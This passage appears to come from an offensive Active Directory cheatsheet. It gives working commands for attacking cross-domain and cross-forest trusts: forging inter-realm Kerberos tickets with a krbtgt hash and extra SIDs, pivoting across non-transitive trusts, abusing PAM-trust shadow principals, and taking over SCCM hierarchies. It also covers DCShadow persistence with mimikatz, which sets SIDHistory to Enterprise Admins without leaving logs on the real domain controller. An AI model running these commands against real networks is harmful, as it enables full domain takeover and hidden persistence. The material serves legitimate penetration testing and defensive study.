ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -nthash <krbtgt_hash> <target_user>

export KRB5CCNAME=./ticket.ccache
getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP> targetDomain.local/user
  • If there is SID filtering, same thing as above but with RID > 1000 (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the foreignSecurityPrincipal. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups:
#These SIDs are members of the target domain
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SIDs can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(objectSid=<object_SID>)'

Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges.

TGT delegation

By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications).

If TGT delegation is enabled in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is disabled, the TGT will not be added in the ST, even with the Unconstrained Delegation.

Additionally, Selective Authentication must not be enabled on the trust, and a two ways trust is needed.

How to exploit an Unconstrained Delegation.

Transit across non-transitive trusts

WARNING ! For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the Active Directory cheatsheet).

If a non-transitive trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on External Trusts for example.

However, there is a way to make non-transitive trusts transitive. Full explains here.

For this example, there is an External Trust between domains A and B (which are in different forests), there is a Within Forest trust between domains B and C (which are in the same forest), and a Parent-child trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since External Trusts are non-transitive.

  • First, obtain a TGT for userA in his domain A
getTGT.py -dc-ip <DC_A_IP> domainA.local/userA:password
export KRB5CCNAME=./userA.ccache
  • Then, request a referral for the domain B with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in domain B as userA
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_A_IP> domainA.local/userA
  • With this referral, it is not possible to request for a ST in domain C since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B
getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip <DC_B_IP> domainA.local/userA
  • Now, this TGT can be reused to ask for a referral to access domain C, still from domain A with user A
getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip <DC_B_IP> domainA.local/userA

This referral for domain C can be, in turn, used to access domain D with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest.

However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with domain D. For example, if domain D has an External Trust with domain E in a third forest, it will be not possible to access domain E from A.

A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E.

getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip <DC_D_IP> domainA.local/userA
addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA
#Then, ask for a TGT and replay the attack against domain E

Across forest - PAM trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high privs group.

Check if the current forest is a bastion forest

Enumerate trust properties

  • ForestTransitive must be true
  • SIDFilteringQuarantined must be false
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

Enumerate shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

Check if the current forest is managed by a bastion forest

ForestTransitive must be true

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

Get the shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'
  • Name - Name of the shadow principal
  • member - Members from the bastion forest which are mapped to the shadow principal
  • msDS-ShadowPrincipalSid - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.

SCCM Hierarchy takeover

In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a Central Administration Site to administrate all the sites from one "top" site server.

If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites.

Full explains here.

Forest Persistence - DCShadow

MUST BE TESTED MORE CORRECTLY

  • DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller
  • The compromised machine must be in the root domain on the forest, and the command must be executed as DA (or similar)

The attack needs 2 instances on the compromised machine.

  • One to start RPC servers with SYSTEM privileges and specify attributes to be modified
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>"'
  • And second with enough privileges (DA or otherwise) to push the values :
nxc smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"

References